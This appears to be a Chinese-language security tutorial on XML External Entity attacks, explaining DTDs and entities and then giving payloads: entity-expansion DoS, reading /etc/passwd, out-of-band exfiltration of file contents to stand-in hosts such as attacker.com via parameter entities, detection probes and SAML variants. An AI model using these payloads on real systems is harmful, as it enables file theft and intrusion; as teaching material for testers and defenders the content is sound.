XXE

1. Document Type Definition (DTD) & XML External Entity (XXE)

1.1 DTD

一个典型的例子就是 HTML4的 DTD

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
...

通过 curl 我们可以看看这个 DTD 是什么

% curl -D- http://www.w3.org/TR/html4/loose.dtd 

HTTP/1.1 200 OK
...
Content-Type: text/plain
<!ENTITY % HTML.Version "-//W3C//DTD HTML 4.01 Transitional//EN"
<!ENTITY % HTML.Frameset "IGNORE">
<!ENTITY % ContentType "CDATA"
    ...

当然了, 浏览器已经将其 hard-code进去了, 所以不需要每次都用 curl 获取一次.

1.2 XML Entity

<!DOCTYPE Response [
  <!ENTITY msg 'Hello World'>
]>
<Response>&msg;</Response>

此处XML Parser会解释文档, 并把Entity msg 替换为string - Hello World.

类似地, 在 HTML 中, &lt; 变为 < , &amp; 变为 &

<!DOCTYPE Response [
  <!ENTITY a 'aaaaaa'>
  <!ENTITY b '&a;&a;&a;&a;&a;'>
  <!ENTITY c '&b;&b;&b;&b;&b;'> 
  ...
  <!ENTITY z '&y;&y;&y;&y;&y;'>
]>
<Response>&z;</Response>

由于此特性, 我们有机会利用 它制造出 DoS

1.3 XML External Entity

除 XML Entity 外, DTD 还允许定义 External Entity

<!DOCTYPE Message [
  <!ENTITY msg SYSTEM '/etc/hostname'>
]>

<Message>&msg;</Message>

这一次, 我们把系统文件的内容赋予给 msg.

<!ENTITY msg SYSTEM '/etc/hostname'>
<!ENTITY msg SYSTEM 'file:///etc/hostname'>
<!ENTITY msg SYSTEM 'http:///myserver.com/something'>
<!ENTITY msg PUBLIC 'm' '/etc/hostname'>
<!ENTITY msg PUBLIC 'm' 'file:///etc/hostname'>
<!ENTITY msg PUBLIC 'm' 'http:///myserver.com/something'>
Constant Description 附注
SYSTEM 本地文件
PUBLIC 网络文件 需要一个标式(e.g. m)
Protocol Description
绝对路径
file://
http://
https://
jar:// 解压文件(java)

2. XML External Entity Attack

2.1 General

  1. 黑客制造一段带有 DTD 的 XML, 信息中大多包含一个 XXE读取本地文件, 如/etc/hostname
  2. 黑客发送该段 XML 到服务器
  3. 服务器收到 xml 后, 解析 XXE, 并返回结果

假如攻击成功的话, 响应将包含/etc/hostname 的内容

攻击 example:

<!DOCTYPE Message [
	<!ENTITY msg SYSTEM '/etc/hostname'>
]>

<Message>&msg;</Message>

响应:

<Response>
	Thank you ["/etc/hostname"]
</Response>

2.2 Advance

背景

RESTful services 没做好的话, 黑客就有机会将本来是 json, 换为 xml. 它只需要将 req 的 header 的Content-Type 换为text/xml or application/xml

特别是server-side development frameworks (like JAX-RS for Java based RESTful services)

步骤

  1. 将GET req 变为 POST req (如需要)
  2. 更改 Content-Type
  3. 在 body 中添加恶意代码

Req

GET /service/ HTTP/1.1
Host: example.com:443
Content-Type: application/xml
Content-Length: 161

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [  
  <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
  %one;
  %two;
  %four;
]>

其中 http://attacker.tld/dtd-part 中的内容是

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

Res

HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
Content-Type: text/html
Content-Length: 1851
Connection: close

javax.xml.bind.UnmarshalException
 - with linked exception:
[java.io.FileNotFoundException: /root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
... ... ...
... ... ...
... ... ...
apache:x:54:54:Apache:/var/www:/sbin/nologin (No such file or directory)]

2.3 XXEA的检测

1. 测试1

HTTP POST with Content-Type: application/xml or Content-Type: text/xml

case 1:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///some-non-existing.file" > %xxe; ]>

假如返回, 则有可能是有 XXE

javax.xml.bind.UnmarshalException - with linked exception: [java.io.FileNotFoundException: /some-non-existing.file (No such file or directory)]

case 2:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///etc/passwd" > %xxe; ]>

2. 测试2

删除req 中的其他 parameter, 重做测试1的 case

3. 测试3

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://attacker.tld/xxe/ReqNo" > %xxe; ]>

ReqNo - 请使用 burp中的 repeater 用数字代替, eg 1 - 100

4. 测试4

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://ReqNo.xxe.attacker.tld" > %xxe; ]>.

5. 测试5

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]> versus the response time of <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:9876" > %xxe; ]>

3. XXEA on SAML

3.1 检测

<!DOCTYPE Message [
<!ENTITY send SYSTEM "http://attacker.com/working">
]>
<Message>&send;</Message>

当 attacker.com服务器接收到请求, 证明XXEA就有可能了.

3.2 攻击

x1. 基本思路:

<!DOCTYPE Message [
<!ENTITY file SYSTEM "/etc/hostname">
<!ENTITY send SYSTEM "http://attacker.com/?read=&file;">
]>
<Message>&send;</Message>

但这并不会成功, 因为External Entities 不能再包含在别的External Entities

x2. 可行方案

<!DOCTYPE Message [
  <!ENTITY % file SYSTEM 'file:///etc/hostname'>
  <!ENTITY % dtd SYSTEM 'http://attacker.com/mydtd'>
%dtd;]>
<Message>&send;</Message>

将该 xml用 base64 + URL encode, 再发送到 web application.

这里利用DTD 中的一个feature - Parameter Entity来逃过限制. Parameter Entity跟普通 Entity 类似, 所不同的在前面加%

  • % file 读取/etc/hostname的内容
  • % dtd 强制要 parser 从网络中获取external DTD

External DTD内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/send/%file;'>">
%all;

Title Description
Parameter Entity - % all 被定义为 Entity send
"<!ENTITY send SYSTEM 'http://attacker.com/send/%file;'>" URL 请求包含Parameter Entity - file 的内容
最后一行的 %all 此处定义 Entity - send
%ddd 表示替换'http://attacker.com/mydtd'

x3. Automation 工具

XXEInjector

4. Tool

GDSSecurity/xxe-recursive-download

This tool exploits XXE to retrieve files from a target server. It obtains directory listings and recursively downloads file contents.

Ref

  1. Generic XXE Detection
  2. Black Hat EU 2013 - XML Out-of-Band Data Retrieval
  3. Detecting and exploiting XXE in SAML Interfaces
  4. Identifying Xml eXternal Entity vulnerability (XXE)
  5. What is XML External Entity (XXE)?
  6. XML External Entity (XXE) limitations - Acunetix
  7. Out-of-band XML External Entity (OOB-XXE) - Acunetix
  8. XXE - Things Are Getting Out of Band
Show Comments